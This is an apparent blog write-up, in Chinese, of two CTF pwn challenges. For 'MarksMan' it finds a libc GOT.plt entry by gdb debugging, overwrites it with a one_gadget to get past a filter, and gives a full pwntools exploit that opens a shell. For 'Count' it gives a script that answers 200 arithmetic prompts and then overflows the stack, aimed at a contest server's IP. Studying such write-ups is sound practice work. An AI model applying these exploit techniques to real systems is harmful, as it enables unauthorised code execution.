MarksMan
考点:任意地址写
程序保护措施全开,开局给一个puts
的地址,然后就是直接进入任意地址写入操作。
写入的目标地址直接填十进制字符,程序会调用 atol 给它转为 int 型。
return atol(&nptr);
向目标地址写入只能是 3 个字节,也就是低三位
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1uLL);
getchar();
}
这种题目貌似是前几个星期国外那边兴起的,然后基本套路就是在写入函数后(这题就是 main 函数 27 行之后)找 call 指令,找到适合的函数,修改为 onegadget 地址。
根据作者介绍,题目过滤了全部 one_gadget ,推测应该就是sub_BC2
这个函数,如果不含有过滤的 onegadget 就返回 1 ,进入任意地址写操作。
signed __int64 __fastcall sub_BC2(_BYTE *a1)
{
if ( (*a1 != 0xC5u || a1[1] != 0xF2u) && (*a1 != 0x22 || a1[1] != 0xF3u) && *a1 != 0x8Cu && a1[1] != 0xA3u )
return 1LL;
puts("You always want a Gold Finger!");
return 0LL;
}
但是又从别的大佬 wp 看到,其实one_gadget xxxx
对于 onegadget 显示级别默认是 1 ,也就是只需要满足一个条件的,类似于这样:
ubuntu18:~/hufu/pwn1$ one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
作者也就屏蔽了等级为 1 的 onegadget 。也就是说其他等级 onegadget 可能可用,显示其他等级 onegadget 加入参数-lx
(x 为级别),就能查询到这些:
ubuntu18:~/hufu/pwn1$ one_gadget libc.so.6 -l2
0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL
调试寻找合适 got 表地址
调试环节,也就是找合适的 call 。首先就需要知道你修改后的目标值(onegadget 地址),然后为了能运行到写入函数后,肯定就需要一个存在的写入地址,就随便选一个 libc 地址。
调试使用的地址:
写入地址: 0x00007f96485cbc30
写入地址初始值: 0x00007f29b7 40ea40
onegadget 地址: 0x00007f9648 2c569f
寻找目标 got.plt 为: 0x00007f9648 xxxxxx
libc_base 为: 0x00007f37f9d55000
在最后一次输入修改值前下断点:
p.recvuntil('biang!\n')
gdb.attach(p,'b *$rebase(0xd63)')
p.sendline(p8((og>>16)&0xff))
step
单步调试,遇到 call 就si
单步入调用 plt 函数,看跳转到 got.plt 哪里。
在 _dlerror_run+96 调用了 [email protected] 对应地址 0x7f37fa146d90 (_dl_catch_error plt 表地址):
0x7f37fa14772a <_dlerror_run+90> mov r8, r12
0x7f37fa14772d <_dlerror_run+93> mov rcx, rbp
► 0x7f37fa147730 <_dlerror_run+96> call [email protected] <0x7f37fa146d90>
rdi: 0x7f37fa3490f0 (last_result+16) ◂— 0x0
rsi: 0x7f37fa3490f8 (last_result+24) ◂— 0x0
rdx: 0x7f37fa3490e8 (last_result+8) ◂— 0x0
rcx: 0x7f37fa146f40 (dlopen_doit) ◂— push rbx
这里si
单步入,到 plt 找跳转的 got.plt 地址。第一行就是跳转的地址。
► 0x7f37fa146d90 <[email protected]> jmp qword ptr [rip + 0x2022a2] <0x7f37fa349038>
0x7f37fa146d96 <[email protected]+6> push 4
0x7f37fa146d9b <[email protected]+11> jmp 0x7f37fa146d40
↓
0x7f37fa146d40 push qword ptr [rip + 0x2022c2] <0x7f37fa349008>
0x7f37fa146d46 jmp qword ptr [rip + 0x2022c4] <0x7f37fa361750>
你也可以这样查 got.plt 中跳转的地址:
step
单步到_dlerror_run+96 ,就得到 plt 地址:0x7f37fa146d90。然后使用命令disass 0x7f37fa146d90
,反编译 plt 函数看看里面命令:pwndbg> disass 0x7f37fa146d90
Dump of assembler code for function [email protected]:
0x00007f37fa146d90 <+0>: jmp QWORD PTR [rip+0x2022a2] # 0x7f37fa349038 <[email protected]>
0x00007f37fa146d96 <+6>: push 0x4
0x00007f37fa146d9b <+11>: jmp 0x7f37fa146d40
当中的第一行就是 got.plt 地址,然后查一下里面的值就是函数地址或返回 plt :
pwndbg> x /gx 0x7f37fa349038
0x7f37fa349038 <[email protected]>: 0x00007f37fa146d96
pdisass
命令好像也是可以的,但好似有时会直接返回函数 libc 地址,有时又返回 plt 操作。查了一下disass
是反编译输出,pdisass
是带颜色和格式输出:(大雾.png)
pwndbg> pdisass 0x7f37fa146d90
► 0x7f37fa146d90 <[email protected]> jmp qword ptr [rip + 0x2022a2] <0x7f37fa349038>
0x7f37fa146d96 <[email protected]+6> push 4
0x7f37fa146d9b <[email protected]+11> jmp 0x7f37fa146d40
为什么跳转地址是回到 plt ?
GOT 与 PLT 关系可以看这里
反正不管它跳转那里只要符合要求,就是跳转地址前缀是0x00007f9648
就行。
所以最后应该向 0x7f37fa349038
写入,写入前的值为:0x00007f37fa146d96
,写入后的值为:0x00007f96482c569f
。
程序开了 PIE ,所以算下偏移:0x7f37fa349038
-0x7f37f9d55000
=0x5f4038
。
完整EXP
#!/usr/bin/python
#coding=utf-8
from pwn import *
context.log_level = 'debug'
p = process("./chall")
elf = ELF("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./libc.so.6")
onegadget_offset = 0xe569f
write_add_offset = 0x5f4038
p.recvuntil("I placed the target near: ")
puts_leak = int(p.recv(14),16)
log.info("puts_leak:"+hex(puts_leak))
libc_base = puts_leak - libc.symbols['puts']
log.info("libc_base:"+hex(libc_base))
#malloc = libc_base + libc.symbols['__malloc_hook']
#log.info("malloc:"+hex(malloc))
onegadget = onegadget_offset + libc_base
log.info("onegadet:"+hex(onegadget))
write_addr = write_add_offset + libc_base
log.info("write_addr:"+hex(write_addr))
p.recvuntil('shoot!shoot!\n')
#p.sendline(str(malloc))
p.sendline(str(write_addr))
p.recvuntil('biang!\n')
p.sendline(p8(onegadget&0xff))
p.recvuntil('biang!\n')
p.sendline(p8((onegadget>>8)&0xff))
p.recvuntil('biang!\n')
#gdb.attach(p,'b *$rebase(0xd63)')
p.sendline(p8((onegadget>>16)&0xff))
p.interactive()
Count
算术题200道,之后通过栈溢出覆盖栈上变量为 256
from pwn import *
context.log_level='debug'
p = remote('39.97.210.182',40285)
i = 0
while(i < 200):
p.recvuntil("there have 200 levels ~Math: ")
anw = p.recvuntil(" = ???input answer:",drop=1).split(' ')
anw = int(anw[0])*int(anw[2])+int(anw[4])+int(anw[6])
p.sendline(str(anw))
i+=1
payload = 'a'*100+p64(0x12235612)
p.sendline(payload)
p.recvuntil("get it")
p.interactive()
版权属于:SkYe's Blog
本文链接:https://mrskye.cn/archives/72/
转载时须注明出处及本声明
膜拜pwn大佬